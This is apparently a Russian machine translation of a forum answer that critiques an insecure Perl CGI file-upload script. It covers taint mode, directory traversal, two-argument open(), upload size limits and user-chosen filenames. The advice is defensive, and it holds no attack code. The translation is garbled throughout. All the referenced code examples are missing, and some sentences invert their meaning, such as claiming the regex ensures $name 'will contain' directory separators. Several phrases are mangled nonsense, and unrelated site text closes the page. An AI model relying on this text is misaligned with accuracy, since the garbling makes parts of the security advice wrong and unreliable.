Режим Perl taint может помочь в этом. Режим Taint заставляет вас проверять все входные данные пользователя перед их использованием в некоторых потенциально опасных операциях, таких как функция system() . Режим Taint похож на безопасность на пистолете: он может предотвратить множество болезненных аварий (хотя, если вы действительно хотите стрелять в ногу, вы всегда можете отключить безопасность, например, когда вы освободите переменную без фактического удаления опасных символов). Включите taint-режим в каждом скрипте CGI, который вы когда-либо писали. Вы можете включить его, передав флаг -T , например:

Как только режим taint включен, ваш скрипт будет генерировать фатальную ошибку, если вы попытаетесь использовать испорченные данные в опасных ситуациях. Вот пример такой опасной ситуации, которую я нашел в случайном скрипте в Интернете:

Хорошо, я соврал, этот фрагмент не из случайного сценария, это из вашего кода. В отдельности этот фрагмент просто попросил, чтобы его ударили с помощью атаки обхода каталога, где вредоносный пользователь вводит относительный путь, чтобы получить доступ к файлу, к которому у них не должно быть доступа.

К счастью, вы сделали что-то прямо здесь: вы гарантировали, что $name будет содержать разделителей каталогов с помощью регулярного выражения * . Это именно то, что требовал бы от вас теневой режим. Преимущество режима taint заключается в том, что если вы забудете продезинфицировать свой вход, вы будете немедленно предупреждены об ошибке:

Подобно строгой, taint режиме заставляет вас немедленно решать проблемы в вашем коде, вызывая отказ программы, вместо того, чтобы позволить ей тихо хромать.

* Вы сделали что-то правильно, но вы также сделали некоторые вещи не так:

  • Ваша программа умрет, если пользователь передает только имя файла без разделителей каталогов, например foo
  • Вы не удаляете специальные символы, которые могут быть интерпретированы оболочкой, например |
  • Вы никогда не очищаете переменную $file и все же вы пытаетесь использовать ее для чтения файла позже в своем коде
  • Вы не проверяете, существует ли файл, который вы пишете, уже существует (см. Ниже «Проверка наличия файла» ниже)
  • Вы разрешаете пользователю выбирать имя файла, который будет храниться на вашем сервере, что дает им гораздо больше контроля, чем вам должно быть удобно (см. Ниже «Разрешить пользователю устанавливать имя файла»)

CGI :: Carp fatalsToBrowser

Я дам вам пользу от сомнений в этом вопросе, так как вы все еще проверяете свой скрипт, но на всякий случай, когда вас не знают, и поскольку я уже говорю о проблемах CGI-безопасности, никогда не включайте CGI :: Carp fatalsToBrowser вариант в производственной среде. Он может раскрывать интимные подробности о внутренней работе вашего скрипта для злоумышленников.

Два аргумента open() и глобальные дескрипторы файлов

Два аргумента open() , например

имеет множество рисков безопасности, связанных с ним, когда пользователям разрешено указывать путь к файлу. Ваш скрипт смягчает многие из них, используя жестко закодированный префикс каталога, но это никоим образом не уменьшает тот факт, что использование двух аргументов open может быть очень опасным. В общем, вы должны использовать форму с тремя аргументами:

(что еще много опасно, если вы разрешаете пользователю указывать имя файла, см. «Разрешить пользователю устанавливать имя файла» ниже).

Также обратите внимание, что вместо глобального дескриптора файла FH я переключился на лексический дескриптор файла $fh . См. Страницу CERT. Не используйте дескрипторы дескрипторов по каким-либо причинам.

Нет проверки наличия файла

Вы не проверяете, существует ли файл уже в /home/Desktop/$name при его открытии для записи. Если файл уже существует, вы обрезаете его (удалите его содержимое), как только вызов open() успешным, даже если вы никогда ничего не напишите в файле. Пользователи (злонамеренные и другие), вероятно, будут сжимать друг друга, что не делает для очень счастливой базы пользователей.

Нет ограничений на размер файла

«Но подождите, — говорите вы, — я установил MAX_FILE_SIZE в моей HTML-форме!» Поймите, что это всего лишь предложение браузеру; злоумышленники могут легко редактировать HTTP-запросы, чтобы удалить это условие. Никогда не полагайтесь на скрытые поля HTML для обеспечения безопасности. Скрытые поля явно видны в HTML-источнике вашей страницы и в необработанных HTTP-запросах. Вы должны ограничить максимальный размер запроса на стороне сервера, чтобы пользователи не загружали массивные файлы на ваш сервер и не помогли устранить один тип атаки на отказ в обслуживании. Установите переменную $CGI::POST_MAX в начале скрипта CGI следующим образом:

Или еще лучше, найдите CGI.pm в своей системе и измените значение $POST_MAX чтобы установить его глобально для всех скриптов, которые используют модуль CGI. Таким образом, вам не нужно забывать устанавливать переменную в начале каждого скрипта CGI, который вы пишете.

CGI не соответствует форме HTML

Переменная POST, которую вы используете для пути к файлу в вашей HTML-форме, userfile файл, не соответствует переменной, которую вы ищете в скрипте CGI, file . Вот почему ваш скрипт терпит неудачу с ошибкой

undef поэтому ваш скрипт пытается открыть путь

как обычный файл.

Устаревший метод обработки загрузки

Вы используете старый (и устаревший) метод обработки загрузок с помощью CGI.pm, где param() используется для получения имени файла и облегченного дескриптора файла. Это не будет работать со строгим и небезопасным. Метод upload() был добавлен в v2.47 (полностью в 1999 году!) В качестве предпочтительной замены. Используйте его так (прямо из документации для CGI.pm):

где field_name — это имя переменной POST, которая содержит имя файла (в вашем случае, файл userfile ). Обратите внимание, что пример кода не устанавливает имя выходного файла на основе пользовательского ввода, что приводит к моей следующей точке.

Позволяя пользователю установить имя файла

Никогда не разрешайте пользователям выбирать имя файла, которое будет использоваться на вашем сервере. Если злоумышленник может загрузить вредоносный файл в известное местоположение, им становится значительно легче использовать его. Вместо этого создайте новое, уникальное (чтобы предотвратить сбивание), сложное -T имя файла o-guess, предпочтительно на пути за пределами вашего веб-корня, чтобы пользователи не могли получить к ним доступ напрямую с URL-адресом.

Другие вопросы

Вы даже не начали решать следующие вопросы.

Аутентификация

Кому разрешено загружать файлы с помощью вашего веб-приложения? Как вы обеспечите загрузку файлов только авторизованными пользователями?

Контроль доступа

Разрешено ли пользователям просматривать файлы, загруженные другими пользователями? В зависимости от содержимого файла могут возникнуть серьезные проблемы конфиденциальности.

Количество и скорость загрузки

Сколько файлов можно загрузить одному пользователю? Сколько файлов пользователю разрешено загружать за определенный период времени? Если вы не ограничиваете их, один пользователь может очень быстро съесть все ваши серверные ресурсы, даже если вы обеспечите максимальный размер файла.

Опасные типы файлов

Как вы проверите, что пользователи не загружают опасный контент (например, исполняемый PHP-код) на ваш сервер? Просто проверка расширения файла или заголовка содержимого недостаточно; нападавшие нашли некоторые очень творческие методы для обхода таких проверок.

«Но, но, я использую это только в своей корпоративной интрасети. «

Возможно, у вас возникнет соблазн игнорировать эти проблемы безопасности, если ваш скрипт недоступен из Интернета. Однако вам все же необходимо рассмотреть

  • Шутники в офисе
  • Недовольные коллеги
  • Соавторы и сторонние подрядчики, которые либо нуждаются в доступе к вашему приложению, либо у кого нет доступа
  • Менеджеры, которые так любят ваше приложение, что они решили открыть его для пользователей в Интернете без вашего ведома, возможно, после того, как вы перешли в другую группу или покинули компанию

«Что мне делать?»

Отмените существующий код. Внимательно прочитайте ресурсы, перечисленные в первом абзаце. Здесь они снова:

Подумайте, если вам действительно нужно это сделать. Если вам просто нужно предоставить пользователям место для хранения файлов, попробуйте вместо этого использовать (S) FTP. Это, конечно же, не устранит все риски безопасности, но это устранит большой: ваш пользовательский код CGI.

Если после тщательного рассмотрения вы по-прежнему считаете, что это необходимо, выполните некоторые недавние уроки Perl, чтобы убедиться, что вы можете использовать и понимать современные концепции программирования Perl. Вместо CGI.pm используйте фреймворк, такой как Catalyst, Dancer или Mojolicious, все из которых имеют плагины, которые могут обрабатывать сложные области, такие как аутентификация пользователя и сеансы, поэтому вам не нужно повторно изобретать колесо (плохо).

Следуйте всем рекомендациям по безопасности, перечисленным в приведенных выше ресурсах, и подумайте о привлечении помощи эксперта в области безопасности в Интернете. Протектор тщательно: одна ошибка в коде может позволить злоумышленнику скомпрометировать весь ваш сайт и, возможно, другие компьютеры в вашей сети. В зависимости от того, в какой стране находится ваша компания и ваши пользователи, это может даже иметь юридические последствия.

Илон Маск рекомендует:  Атрибут frameborder в HTML
Понравилась статья? Поделиться с друзьями:
Кодинг, CSS и SQL